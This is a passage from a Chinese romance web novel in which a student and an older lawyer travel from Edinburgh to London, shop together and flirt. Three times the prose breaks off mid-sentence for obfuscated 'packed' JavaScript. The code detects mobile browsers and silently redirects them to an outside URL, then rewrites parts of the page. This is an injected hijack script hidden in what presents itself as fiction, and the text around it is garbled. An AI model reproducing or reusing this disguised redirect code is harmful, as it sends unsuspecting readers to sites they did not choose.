傅令絮却犹豫了几秒,了然思绪,说着,“这是耳夹,不用找耳洞。” “会戴歪的……”穗和边说话,边将珍珠耳环往右耳上比位置,单手没能轻易打开耳夹,银质藤蔓还不小心刮在她的耳垂,她也没料到会是这样的刮拭感,吃痛地眯起了眼,没有抱怨,只是委屈地念着,“我真的看不见……” 傅令絮眼底浮起一层忧心,他握住她柔软的手,令她无法再胡乱拨弄耳环。 精致小巧的耳垂此刻已经泛起了红,他伸手先将耳夹打开,等她主动侧着头将耳朵凑近,他看向她近在咫尺的侧颜,下意识用食指关节蹭了一下她的耳垂。 明明珍珠耳环是冰凉的,却在这一瞬变得轻柔和温热。 穗和忽然觉得口渴,像是有绒絮落在耳后和心口,隐隐有点挠不到的痒。 她发着愣将傅令絮的酒杯捞到眼前,低下头轻声吸了一口,担心一两滴淋到桌面,下意识沿着边缘用舌尖点了一下。 她没有察觉傅令絮替她戴耳环时,目光仍停留在她的脸上。 傅令絮淡笑了一下,别开眼去,只伸手从她面前将自己的酒杯拿回来,浅啜了一口,藏了半句”撩而不自知”,只说,“也不知道是跟谁学的……” / 从古堡出来,已经过了冬天的日落时间。 穗和继续用LNER购买返程火车票,将手机递到傅令絮眼前,“我不看您的身份信息,但是买票必须让我来,这一路不能总是让您付钱。” 傅令絮也没在这件事上跟她较劲,伸手输入,发现她已经挑选了最近一班的车次,距离启程时间只有不到半小时,问她,“这么赶?” “嗯!我们现在赶回爱丁堡,老天爷成人之美的话,还能赶上!” 见她故作神秘,傅令絮也不细究。 到了火车站。 反而是穗和越走越慢,垂着脑袋与之前亢奋的状态截然不同。 傅令絮好笑地看她一眼,“怎么了?” “每次来到火车站,总会不自觉想起——送君千里,终须一别。”穗和撇撇嘴,看着行人渐行渐远,“……还总是送人的多,接人的少。” 低落的时候看什么都变了样。 有人在眼前紧紧相拥,穗和却好似能听见催促他们分离的火车汽笛。 她低下眼眸,将自己的高跟鞋轻轻比在傅令絮的皮鞋旁边,让他们看起来无比登对,不觉蚊子哼一般说出了心里话,“……我不想回伦敦了。” “展览不用做了?” 傅令絮低着眼,像是故意想看她耍小孩子脾气的神情,“书也不想读了?” 穗和微微瞪他一眼,知道他在拿话揶揄自己,又找不到什么话有效回击,闷哼一声,“你问题这么多,我都不知道回答哪一个了……” / 一个半小时后,他们先回到爱丁堡。 刚过晚上八点,傅令絮准备叫车回酒店,随口问她,有什么想吃的。 穗和比他速度更快,张开手掌挡在他的眼前,“我有安排的!” 路上睡了一小会儿,离愁别绪已经散了。 这会儿穗和看起来兴致很好,反复低头确认路线,拉着傅令絮上了车。 车加速驶向目的地。 在路上,都坐在后排,车身摇晃时他们甚至能碰到彼此的肩膀,谁也没有各自靠玻璃窗分开坐的意思。当司机师傅开错岔路口时,傅令絮出声提醒。 穗和思量着,发觉他对英国比她熟悉多了。 “傅令絮。” “……嗯?” 穗和平声问他,“你是不是在英国读过书?你好像对这里特别熟悉。” 傅令絮纠正她,“嗯,在英国读的本科,美国读的硕士。” “也是伦敦政经?”穗和微微诧异。 “嗯。” “那你不早说?这样算起来,我应该喊你一声学长。” “你也没问。”傅令絮无所谓她的称呼,但想到她姐夫,故意拿话逗她,“倒也不是,我虽然跟你姐夫一起长大,但按各自导师的辈分,他得喊我一声师叔。” 言下之意,她喊一声“小叔叔”也不为过。 穗和眉心一跳,当即理解他的意图,清脆利落的喊着他的名字,“傅令絮!”看他没有反驳,连声音都更为雀跃,又喊了一声,“傅令絮!” “喊我名字这么高兴?” 穗和也不甘示弱,偏要这样喊,“是呀。” 他顿了一下,随她去,手撑在车窗上,往外看,不搭理她了。 安静片刻。 司机师傅问穗和是不是在爱丁堡读书,穗和礼貌地回答他,不是,她来旅游。他没继续问傅令絮,反而是穗和接了句,“你会一直在英国工作吗?” 傅令絮转过头看向她,斟酌着回了句,“最近都在。” “最近是多久……”穗和轻轻应了一声,“那就是很快还是要回国。” 没了话题和下文,像是只要人在旅途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164972|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就永远逃不开分开这个死结。 说什么都像在扫兴,只有穗和勉强打起精神,甚至拍了拍傅令絮的肩膀,说着,“也挺好的,英国的食物这么难吃,还总下雨……” 两个人无话的到达了目的地。 早已经过了游客聚集的时间,天气也入夜骤冷,不止糟糕,连天气预报都不精准,说好的市区不会下雨,换成了豆大的冰雹密密匝匝落下来。 Victoria Street有一家哈利波特的周边店,但是傍晚六点关门。 绕到卡尔顿山,想打卡周杰伦《明明就》这首歌里绝美的草坪、希腊神庙和日落,却发现今夜云深雾重,违背景深规律,越近越是浓郁的伽蓝色。 穗和无奈的缩了下肩膀,傅令絮颀长的影子高出她一大截,在路灯下没有丝毫重合,夜风发出簌簌声响,有一种无法对抗的挫败感。 “都没什么人了,也没有灯火演出……”穗和叹了一口气说,“还这么冷……” 傅令絮没有出声,只是陪着她漫无目的地往前走了几分钟。 偶遇一对年轻情侣请求帮忙拍照,穗和挤出微笑说好,傅令絮退到一边,冲穗和微微颔首表示不耽误他们。也趁这一点时间,去了一趟沿街的咖啡店。 玻璃窗外,穗和仍在举着相机柔声喊着,“one、two、three——” 被拍的情侣肆意舒心的笑着,在快门按下的最后几秒亲吻彼此,他们扬声道谢,穗和小跑过去,将他们的单反相机递回。 等她一回头才发现傅令絮不见了。 她没有慌乱地喊他的名字,但下意识四周逡巡,接着从口袋里扯出手机,低着头上下滑动着通讯录,经过眼前好几次才看清楚,拨打着他的电话。 嘟—— 刚一声,他便接起来。 像是知道她要说什么,声音带着隐隐的笑意,“回头。” 穗和茫茫然地立即转过头,一条松软温暖的棕色格子羊毛围巾盖到她的脸上,又一瞬间从她的眼前掀开,傅令絮含着笑意,将围巾从她的颈后绕过,最终连手指又穿过堆在脑后的发丝间,细腻轻柔的肌肤触碰令穗和不觉缩了下肩膀。 长发从他的指缝间滑落,扫过她的清瘦明显的锁骨,伴随一点发凉的风。 羊毛围巾却又在他的手掌里系上了结,连她的下巴也遮住,在她心里生起了暖意。她忽闪着眼睛,声音委屈,“……可惜看不到这里的日落。” “那就等日出。” “您行吗……”穗和总觉得这句话说出口有点奇怪,找补了一句,“我是可以的,年轻人都是很能熬夜的,您不要勉强……” ”十岁。我其实也没有比你大多少,是不是?” 穗和停顿几秒,好似从没察觉他们的年龄差距,第一次听见他说得这样具体,顿生出一些不敢看向他的情怯,绕开说,“那……要是明天下雨呢?” “总会天晴。” “那看完我们就得离开了……”穗和低下头,越说越小声。 傅令絮无奈地笑了一下,不好哄。 只轻扯了一下她的围巾,吸引她抬起头看向自己,手从口袋里拿出来,在她眼前扬了扬黑色皮夹,“身份证抵押给你才放心?” 好似在说——你松口,我才走。 穗和只觉得脸上越来越热,一定是羊绒围巾太保暖了,她飞快地瞥了一眼傅令絮似笑非笑的眼神,胡乱低头找手机,嘴里咕哝着,“那我们找个地方等……” 屏幕亮起的那一刻,她却骤然冷下脸。 11. 建筑 -11- 看完短信后,穗和下意识锁着脖子躲在羊绒围巾里,手指关节发硬,有一点不知道该放下手、还是先抬眼,最终将手机倒扣在桌面。 傅令絮轻声喊了一句“穗和”。 没有得到回应。 傅令絮的眼眸深了一些,眼波流转,平平静静的斟酌着开口问道,“怎么了?” 穗和微微摇头,眼神还飘忽着,不觉合下眼睑,又看了一眼手机。 “……没事,可能是发错信息了。” 她的神情看起来不像,傅令絮换了一种暗藏谈判技巧的问法,“恶作剧?” 穗和顿了顿,“也有可能。” “看看是不是中文发的。” 穗和不吱声了,也没有当即否认。 在偌大的英国,通过海外软件,用中文匿名发送,大概率不是发错人。 走神了好一会儿,穗和始终想不到该如何应对。 她在傅令絮起身去拿咖啡的时间里,有过犹豫,如若告诉他她刚刚收到的短信内容是“宝贝,好想弄你”,恐怕傅令絮会立刻报警处理。 会给他添麻烦不说,还担心警察会以“为什么只发给你”以及“你再仔细想想有没有得罪过谁”的问法,来对受害者进行道德羞辱。 陈闻鸢是国内当红女明星。 连带着家人,没少受到这些有苦难言的谩骂和造谣。 何况,她自己也不是没经历过。 她趴在桌上,却没有睡意,脸埋进臂弯里。眼神飘远到玻璃窗外,卡尔顿山没有落日,只有神庙之前流淌着生生不息的许愿池水声。 那不是冬雪消融的声音。 春天好像永远不会来。 人影经过她,熟悉的安全感笼罩在她的头顶。 穗和抬起头,微微张口,又停住。 傅令絮替她点了一杯热牛奶,而他自己则是冰美式。 穗和不觉松了一口气,连情绪也变轻柔,指了指他那杯,“怕睡着啊?” 傅令絮答非所问,淡淡一笑,“不太喜欢喝甜的。” 穗和“哦”了一声,想到之前她用来压住借条、特意感谢他的牛奶瓶,她第二天再见到时,分明已经空了。 她手指捏着吸管轻轻搅动,借此问彼,“牛奶也不喝吗?” “很少。” “哦……”穗和打量了他一眼,目光飞快停在他的手背上,浅浅嘬了一下吸管,尽量让语气听起来随意,“好像没有我买的牛奶好喝,玻璃瓶装的那种……” 傅令絮眉间舒展,轻易看穿她的有意提醒。 “之前是谁说最喜欢喝Estate Diary?” 穗和又吸了一口,立刻否认,“这个味道更淡一些……” 傅令絮不跟她辩驳,只是冲她身后挑了下眉,引导她回头去看。 恰好有店员拧开玻璃瓶盖,兑进一杯冰拿铁里。 “奇怪了……”穗和心虚地双手捏紧吸管,还在不死心的品味着。 傅令絮好笑似的说,“奇怪我记得你喜欢喝什么,还是奇怪味道淡?” 只是迟疑几秒,穗和已经落于下风,明明是她想找到傅令絮可以为她破例的一点证据,被他侧面证实视线相接时,她又不知道该如何继续。 话题回到看落日上。 牛奶喝下去大半,穗和提前之前旅游的糗事,“不止这一次,我八月刚来英国那会儿还去了一趟科茨沃尔德,不是说,这是距离天堂最近的地方嘛,结果一脚踩空,半个人已经掉进了下水道,幸好我同学手快拉住了我。” 说到这,逗笑了自己,无厘头补充了一句,“说到距离天堂最近的地方,我突然又想起了香格里拉,忘了是几岁跟家里人去的。那会儿还有飞车党,嗖一下骑个小摩托车从我面前经过,我在原地愣了好半天,才发现手上的手机没了……” 傅令絮跟她闲聊,漫不经心地问,“之前丢过证件这种吗?” “那倒没有,只丢过学生卡。”穗和忽然说,“其实手机丢了、差点掉下水管道里,都没有丢证件那晚害怕,突然一点儿安全感都没有……” “不想了。”他不想让她再回忆那晚的事情。 穗和问,“你呢?” “安全感?” 穗和点点头,话说一半,“可能我说得不对。” 傅令絮无所谓地看向她,“说说看。” “很难猜测你的安全感来自哪里,车,房,钱,名声……” 傅令絮思索着,语气也只是试探,“感情?” 穗和纠结的表情写在脸上,“我觉得都不像,你好像没有软肋。” 傅令絮顿了一下,思量着如何回复,没有更好的答案。 只问她,“你呢?” “我啊……”穗和想了想,自顾自地说,“好像也没有具体的什么来源,说不清楚,只有那晚在警察局我看到你来,才第一次准确感受到。” 穗和只是如实陈述,再简洁、坦然的话用不经意的语调说出来,都带有了动情的意味,她还在继续说着,“家人,朋友,这些应该都算吧……” 傅令絮抬眼去看她,眼底闪过一丝惊艳,眉心微微动了下。 / 第二天,卡尔顿山依旧是雨天,等不到日出。 傅令絮带着穗和回了酒店,仍然是套间,甚至是空间更大的套间,两个人进了同一个房门后,相隔将近百米,回房间各自沉入睡眠。 傅令絮保持着不挑地点的工作习惯。 而穗和好像也没有继续停留的理由,正好撞上叶随在微信群里发消息,询问一起贝鲁特港设计比赛的组员什么时间方便,他有需要修改的部分需要同步。 消息回复很快,所有人都说:看叶总工时间,明天就行。 穗和也跟上,回了个“没问题”的表情包。 从爱丁堡坐飞机回伦敦,大约用了四小时,从机场坐Thames Link列车回市中心,在路上傅令絮替她推着行李,原本计划打车送她回学校。 顺便翻了下返程的机票。 穗和无意之中扫到,慌张地拉住他的胳膊,“那个,难得来一次,我怎么也得带您逛一逛伦敦,不然、不然我姐姐和姐夫要说我不懂事的……” “你等我……” 穗和着急打断他,“等您有空也可以再来!伦敦可大了……” 傅令絮无奈地笑了一下,想从她手里抽回胳膊,“我能先回个工作电话吗?” “啊……”穗和立即退缩,“哦,那您快去,工作要紧,我坐电车也行……” “你在这里等我。” “您不走啊?” 傅令絮不知道她小脑袋瓜里在想什么,把话挑明,“地址发给我。” 穗和认真冲他点点头,像是接下了一项了不起的任务。 傅令絮疾步离开站台,走去洗手间附近打通周律师的电话。 起因是他几分钟前照例查看工作邮箱,发觉有一份文件需要他本人签署确认,为了确保无误,原本打算看一下最近的航班,往返半天应该足够。 周律师昨晚宿醉,接通电话时才顾得上看时间,一觉睡到下午三点半。 “你跑哪儿去了?认识十几年,可没见你耽误过事儿。” 傅令絮不做任何解释,“文件寄出了?” “我催一下,找了靠谱的实习生给你寄加急件,最迟半夜到。” “嗯,找我报销,别让他们因为我个人私事倒贴实习。” 周律师没当回事地伸着懒腰,“你就别操这个心了,有的是小姑娘抢着给你帮忙,你还是老实交代,什么个人私事值得你傅令絮这样鞍前马后?“ “我看你是真想去非洲。” “得!我不问了还不成吗?”周律师对他的性格再了解不过,傅令絮不想说的事情,谁也从他嘴里撬不出一个字,只是故意长叹一口气说,“我说老傅啊,你不跟我说不要紧,你对自己交代得清楚就行。” 傅令絮挂了电话,站在原地回头往原方向找人。 穗和乖顺地等在原地,甚至连看向他的姿势都没有变动。 她只是将羊绒围巾里松垮的头发扎成了马尾,露出好看的额头和耳朵,她急切地冲他挥挥手,紧盯着他的目光像是饱满的葵花依然向阳,没有错过他的转身。 情绪灼烧,在他恍惚之间,暗暗允许他的眼睛寻找她的名字。 / 原本打算先将行李放回穗和租住的公寓,但司机师傅找不到具体位置,最终停在伦敦政经附近,穗和估摸了下时间,决定先带傅令絮去学校看作品模型。 贝鲁特港设计竞赛的校内作品均在Senate House里展出,但入围全英范围的作品只有叶随主要设计的这组,穗和也在其中,他们的模型放置在最远的玻璃门内,却恰好借助自然光形成流动的水迹曲线,形成港湾示意。 穗和介绍说,他们这次的参赛作品暂定名为《Gone with the Wind》。 傅令絮想到《飘》,也想到电影《乱世佳人》,对斯嘉丽和百瑞德的爱恨纠缠兴趣不大,但穗和一脸期待地望向他,让他猜猜这样起名的用意。 他低头看到设计中对多样植被的缺角利用,发觉河流并不真正途径花海,形成了一种即将干涸的美感,更是一种急需拯救的破碎感。 傅令絮平静地看了她几秒,“这是你的第一个作品?” “对。” “我在想,这个作品是不是一种认真告别,像斯嘉丽告别她的少女时代,让那些固执、任性、骄纵、天真随风而去,跟你们的设计呼应,所有看似蜿蜒在植被地带的河流,只是玻璃光影,真正的港口河流只有一处,只经过平凡的人群聚集地。” 平凡才是唯一的答案。 浪漫不是。 “你……”穗和不可置信地微微瞪圆了眼睛,很快眼中燃气一些难以掩藏的欣赏,甚至是被人看透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听谁说的?”她用的是轻慢的声音,“你也会说是在国内,这不是天高皇帝远?” “就新生入学迎新那会儿,我加了几个中国留学生,听她们随意聊起来的……” “哦……”短发女生好像认定这样的八卦再正常不过,没有情绪波澜,只是眼光时不时瞥到傅令絮身上,特意转过身,背对着他,面朝戴围巾的女生,小声问她,“你发现没有?玻璃门那边有个极品大帅哥,衣品也极好,不知道是不是老师……” “哪儿啊……” 短发女生着急拉扯着旁边女生往外走,“别立刻看啊!” 傅令絮冷淡地侧过身,面朝玻璃光,眉宇之间甚至一丝不耐烦的意味。 他看起来更符合穗和的设计主题,目光漫不经心地投向玻璃外面的世界,色彩只在他的眼中折射,颀长清隽的身姿随意虚靠在站台边,手撑在案板上,几朵模型中枯枝玫瑰的碎影落在他的指尖,随着日光跳跃。 他周身也变得更轻柔,映入到刚小跑回来的穗和眼中。 她安静大胆地直视着他,发觉他此刻看起来像是比她手中的泡沫还要缥缈,像是捉不住的那缕侵入心扉的茶烟,与他的名字意境契合。 一句话、一秒钟从她的脑海中闪过。 Gone with the Wind改为Gone with the Catkin。 随风而去改为因絮而起。 不是少女时代的告别,反而是浪漫的开始。 好似,轻舟裁絮已过万重山。 她几乎是雀跃着跑到傅令絮面前,他转过头,好似才发现她已经回来了,恍惚间被穗和紧紧握住了手背,藏不住笑意,“我想到要叫什么名字了!” “嗯?”傅令絮没跟上她跳跃的思路。 穗和忽闪了几下睫毛,小心翼翼地承诺着,“等到这个作品真正支撑起一个作品展的时候,全世界都能看到他的名字!” 傅令絮定定地看着她,半晌才说,“尽力就好。” “嗯!到时候您一定要来看!” 穗和小心的思考着请他一定要来的原因,因为他是灵感来源? 或者进一步说,是她一闪而过的灵感缪斯,但又不愿意露出这样的心意,她抿了下嘴唇,羞赧地说了句,“您还没答应我呢!” 傅令絮淡淡一笑,但穗和时不时地瞥向他的脸上,总觉得他这样的笑容比以往更疏远、更客套,反而显得有一些不乐意。 穗和猜不到他的想法,总觉得好像与她有关。 她小心地看了傅令絮一眼,“您今天过得不开心吗?是不是有点累了……” “怎么这么问?” “那就是有了……”穗和也不知道是哪里来的勇气,拉扯了一下他的衣袖,哄人的语气问他,“那我带你回我家,给你做好吃的好不好?” 12. 超市。 -12- 傅令絮被她哄人的语气逗笑,比他小那么多的女孩子,扮作片刻的大人。 他脸上的笑容很快消失,对着穗和的眼尾看了一眼,“你说真的?” “嗯……”穗和沉吟了几秒,眼神变得闪烁,尴尬地冲他摆摆手,“不过我先说好啊,我的厨艺很一般,不能跟您平时的口味比。” “这会儿又想起叫‘您’了。” “啊?”穗和仓促地回了下头,想了几秒,手指绕到颈后不自然地捋了下肩上的长发,停了一霎,还是冲傅令絮抱怨说:“那我一高兴就给忘了……” 傅令絮语气平淡,无所谓称呼,像是随口一问:“回伦敦了就这么高兴?” “高兴也不一定是因为回伦敦了呀。” 穗和仰着脸看向他,以为他会继续问,还在思索怎么回答更好,哪知道傅令絮只是看了眼时间,确认不早了,问她:“饿了吗?” “嗯?”穗和不知道问题怎么跳到这里,连忙说着:“不饿的,时间还早。” “那先陪我找间酒店放下行李,再送你回家。” “你要住酒店?”穗和问完霎时一顿,傅令絮也稍微一怔。 不然住哪里? 不等他开口,穗和着急避开傅令絮的目光,低下头胡乱飞快地说出,“不是,不是,我的意思是,伦敦想临时找高档酒店可能不像国内网上预订那么方便……” “住不了几天,没那么讲究。” “也是哦……”她好像忘记傅令絮迟早还是要离开这里,离开她身边,他多送的那一程,就像地铁车厢里的疾风,吹的再劲也只有一段固定封闭的距离。 “走吧。” 傅令絮刚要转身,侧脸浸着光,显得很温柔。 穗和的心情像是刚倒立的沙漏,视觉冲击很强,流沙却还是缓缓慢慢地挤出瓶颈,她扯着嘴角,笑得很牵强,想法却是自己从嘴里蹦出来的,“那个,其实我家离学校很近,附近就有几家酒店,正好顺道去一趟中超。” 傅令絮没有太大的疑问,只是拿起手机预备导航,几秒后胳膊上就搭上了穗和的双手,她像只怕生的小奶猫一样耸着肩趴在他眼前,“真的!环境也挺好的。” “……我看下路线。” “不用啦,我家附近我很熟,我带你去。”穗和不等他反应,偷偷瞥他一眼,装作若无其事地将手收回来,攥紧在身后,好似还能握住他胳膊上的力道,头也不回地开始带路,“我们得快一点了,中超的东西卖得很快的……” 打车到穗和给的地址只用了十分钟,下来先看见路口的中超。 傅令絮习惯出差只带一个小号的行李箱,提着、拖着都不费力气,他正要付车费,却被穗和抢先将纸币放到他掌心,“都到伦敦了,必须是我请客。” 说完还给偷偷给自己补了句,“回国也算数的。” 傅令絮一下子明白她的用意,没跟她抢,只说,“你也没欠多大的人情。” “才不是……”穗和有点不乐意了,凑近他认真说教,“滴水之恩都应当涌泉相报,何况是救命之恩,哪怕你一点都不在意,我也会一直记在心里的。” 傅令絮愣了一下,想说他也没有不在意。 但只要注意力集中到她带着不甘心有点小脾气的对视上,他就忘了动嘴说话。他坐好后退半步,转过脸准备开门下车,谁知穗和先拉开另一侧的门,比他动作更快。 / 取下行李箱,在入口左侧暂存。 傅令絮将票据对折,正要放进西装口袋里,瞧见穗和有意无意地甩着手腕上绕着的酒红色小圆包,煞有其事地说:“帮我存一下?” 隔壁的手挽手一起来逛超市的情侣也这样做。 穗和迟疑着伸手接过票据,却忍不住咧着嘴笑了一下,“那好吧,给我收着。” “嗯,我去拿个推车。” 穗和情绪明显好转,声音也恢复了不少活力,“好!那你记得拿个大一点的。” 中超构造比国内超市简单得多,十分钟能绕三圈,蔬果品种有限,调料包、方便面倒是不少,蓝白货架稀稀拉拉放着些熟食,不透光也不透色,影响食欲。 傅令絮单手拖着行李箱,另一只手扶稳推车。 穗和已经往他的凸起青筋的手背上偷看了好几眼,忍了没几十秒,独自绕到另一侧,伸手握紧他的行李箱拉杆,“给我拿吧。” “不用。” “我来吧,你往里面站一点,这样我们俩像在逛超市一样。” 傅令絮轻笑了一下,往外挪了一步,让她走在行李箱和自己之间,她走几步就高兴了起来,下意识推了一下超市推车。 傅令絮问她:“这样才像逛超市?”眼神特意落在她推超市推车的手上。 “对啊。”穗和理直气壮地看向远处,停在刚刚入口处碰见的情侣身上,欲盖弥彰地说着,“我从小就觉得逛超市特别有生活气息,特别浪漫。” 特别适合情侣。 这些隐晦的言外之意没被发觉,傅令絮声音很轻,“那不是很容易?” “哪有!” 穗和扭过头来看他,整个人都快趴进推车里。 被傅令絮扶了下肩膀,“好好走路。” “本来就是!我从来没跟异性一起逛过超市。”穗和就差掰着指头连小区保安大叔都算上,认真在心里细数,“真的没有,就连滑雪、跳伞、去鬼屋、文身这样的事情都能轻易做到,反而是逛超市这样看起来很寻常的事情从来没有过……” 傅令絮闻言眉心一蹙,只觉得像是在听年轻人的花式约会,“你有文身?” “有……你会介意吗?” “轮不到我介意。” “是哦……”穗和默默鼓了下腮帮子,自知失言,他怎么会介意呢? 她对他而言,大概只是无关紧要的人。 往最近的关系说,他也只是姐姐和姐夫的朋友,连她自己都跟陈闻鸢没有血缘关系,更何况是傅令絮呢,也许他们连朋友都算不上。 穗和沉默着走了几步,傅令絮敛下眼眸去找她的反应,不难从她的表情猜测她的心情,有过犹豫,但还是对她解释:“我是说,这种事轮不到其他人介意。” 穗和微微抬头,不敢给这句话增加更多的解读,想了想才轻叹着说:“我没文身,我只是陪其他人去过,我不敢……我妈、我姐姐会唠叨死的。” 傅令絮轻哼:“没想过反抗一下?你不是胆子很大吗?” 都能滑雪、跳伞、去鬼屋。 “想过啊,想了好多方法,可是只敢想想,而且!胆子大也分情况的好不好?看鬼片、玩恐怖游戏、蹦极这种我才不怕。” 傅令絮顿了顿,“都玩过?” “对啊!我可厉害了,我当时比男孩子胆子还大呢……” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164974|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 穗和说完有点后悔,她也不是想刻意传递这样与她外在不符的性格印象…… 她想了又想,压着声音,连语速都恢复如常偏慢的样子,佯装漫不经心地找补道:“不过像听演唱会、唱歌、看话剧、逛漫展、逛街这些……我也喜欢的。” “嗯。” 见傅令絮反应冷淡,甚至没有一丝接她话的意思,主动问:“你呢?” “我?” “对呀,你平时喜欢做什么?” 傅令絮不假思索地答复她:“没什么特别的。” “怎么会!这些事情都很寻常啊,有人陪你一起就会变得很有意思。” “可能吧。” 穗和几乎憋不出笑,赶紧转过头去,手指假装在货架上一一扫过。 她大概猜到傅令絮能够成为华人圈有名的青年律师,一定大量时间都花在学业和工作上。故意拿话问他,就好似在验证,他跟自己一样。 感情空白。 或者说,至少没有什么花花绿绿的回忆,没有蚊子血,也没有白月光。 那么,所有那些俗套的浪漫都有可能成为独家记忆。 穗和想到这,忍不住回过头又看了一眼傅令絮。 她不知道她还在笑着,根本藏不住。 傅令絮眼神却淡淡的,甚至有一丝疲倦,对她说的这些活动好像没有一点兴趣,随意说着无关紧要的话,“你姐姐管你这么严?” “啊?”穗和一下子没反应过来,很快理解他还在说“文身”,“哦……那吃人嘴软嘛,我一直拿着姐姐给的生活费呢……”穗和面露难色,想到什么,一本正经地反驳说:“不对啊!哪有你这样拱火的大人。” 傅令絮被她委屈又天真的表情逗笑,“大人又不全是好人。” 穗和踮起脚尖,又一次不听话地将整个人的力量都放到推车把手上,这次是背对着,仰面似天真似挑衅的眼神在问,“那……你是坏人吗?” 推车把手还握在傅令絮手里,他被迫停下,手指抓得更加用力。 朝眼前的人投去一个无奈但又含有警告意味的眼神,他没有急着开口说话,打量她的几秒里发现她还在眯着眼捏紧食指,好似在找眼前的某一根碍事的碎发。 她明明周身都是冷清又规矩的气质,这样的外在和教养,很难让人挪开眼。 稍微熟了,一细看又发觉她真的有好多小动作。 坐在车上喜欢趴在玻璃前呵气,头发别在耳后会突然松扯开,垂丝在眼角,时不时又重新捋上去,就连走路也不会好好走,躲他身后踩他的影子,犯困的时候连眨眼的频率都会变慢,歪歪扭扭倏地朝沙发躺下去,蜷缩着一点也不担心着凉。 他早已经过了情绪还会受旁人影响的年纪,也鲜少有这样的机会。 “这么难回答的吗?”穗和挑了下眉,后腰有点酸了,僵持着挺了挺上身,胸口适时地起伏了几下。 傅令絮收回眼,另一只手无知无觉地绕到推车把手另一侧,整个人前倾半步便将穗和圈在了他和手推车之间,暧昧的因子流窜,比空气还轻。 穗和顿时有点紧张,茫茫然地想扭头往旁边的货架上看。 还不忘嘴里嘟囔着:“这个、这个薯片很好吃,是小龙虾味道的……” 傅令絮却就势凑到她耳边,距离不远不近,声音却像染上了一层朦胧的欲与妄,“胆子这么小,还敢招惹大人?” 13. 火锅 -13- “谁招惹你了……” 穗和飞快地扭过头轻轻瞪他一眼,又不自然地伸手捋了一把耳边滑下来的头发,掖到耳后时发觉指尖发热,偷瞄一眼撞上傅令絮的笑意,气急败坏地张开手心紧紧捂住自己的耳朵,“看什么……” “你说我看什么。” “……”穗和闷哼一声,倏地抬眼望向他,上当一般重复着:“……大人果然不全是好人。” 傅令絮蓦地噤声。 在她恨不得双手捂耳把头全埋进臂弯时,总算后退了半步。 穗和见状,干脆利落地往下一蹲,逃离他的桎梏时,盖左耳上的手被傅令絮拿开,她来不及重新站起来,耳廓上已经多了一秒傅令絮食指刮过的月亮弧度。 轻热,溽湿,像赤红的落日撞上了棉花糖。 穗和拿手背贴了下自己的光洁的额头,试图降温,在她行将无法呼吸之前,傅令絮平声说了一句,“走了,去结账。” 穗和目不斜视,双手重新握紧推车把手。 见身边的人没有动静,颤颤睁开眼皮,斜着瞟他一眼,“又在看什么……” “你。” 没想到是这样直接的答复,穗和一时不知道怎么开口,不争气的双耳不用靠触摸也能感知到在发热,“看我干什么,还走不走了?” 傅令絮冲她身侧一瞥,“看你没拿我的行李箱。” “……”穗和的心情被他调动得七上八下,越发觉得羞恼,头也不抬地啪一声手掌拍到行李箱拉杆上,小声抱怨着,“走吧,再不走都挡住路了……” / 两个人拎着几大袋食品,很快到达穗和租住的公寓附近。汽车开不进巷道,走向七拐八拐,路灯分布密集,但是大多昏暗不透影,连家猫都会认错路。 穗和走在前,往左迟疑,往右走也不自信,声音都有点游离。 “……就在前面,有点不好找。” 傅令絮并不催促,之前在中超穗和只顾抢单,没留意他退出人群查了下手机,双指扩展地图,附近连便利店都没有一家。 绕了快十五分钟,安静的傍晚只有穗和嘀嘀咕咕的细声。 “我真的不是诓你,附近只有这家你可能会喜欢。”穗和干笑了一下,“虽然您说不讲究,但是毕竟您是为了送我回来才被迫留宿,我不能心安理得的不当回事。” 傅令絮阖了下眼,望向穗和的微微摇晃的脑袋,以为她要转头,视线猝然收回,停在花圃里窝着的野猫上,他不难感知,穗和身上有一种看似不卑不亢的客气。 无效的周全,又带着无心的热切。 “穗和。” “……嗯?”穗和茫茫然转过身,问他,“怎么啦?” 傅令絮盯着她看了一会儿,轻声说:“送你回来是我的事情。” 穗和打量着他,有点不明所以。 他不说话时更多一些清介蕴凉的感觉,西装途径一路仍旧正经工整,声音却比之前多一些温柔,“跟你姐姐的人情关系也并不冲突。” 穗和不自知地睁圆了眼睛,轻轻咬了下嘴角,不知道他为什么突然这样说。 但并不是不能理解他的言外之意。 穗和揣着明白装糊涂,眉眼弯弯的根本藏不住欣喜的小心思,安静了没两秒,又转过身去继续跟傅令絮并肩而行,拿自己的肩膀碰了碰他的胳膊。 傅令絮没应声。 “那要是其他人呢?”穗和吸了口气才把后半句咽下去。 要是换做其他人,抛开姐姐的人情关系,你也会这样亲自送她吗? 穗和猜想他一定不会直接答复她。 他或许会问“什么其他人”,又或者是,“你的脑袋每天都在想些什么”,总之,大颗大颗的暧昧气球砸向他们时,傅令絮总能做到一吹而过。 想到这。 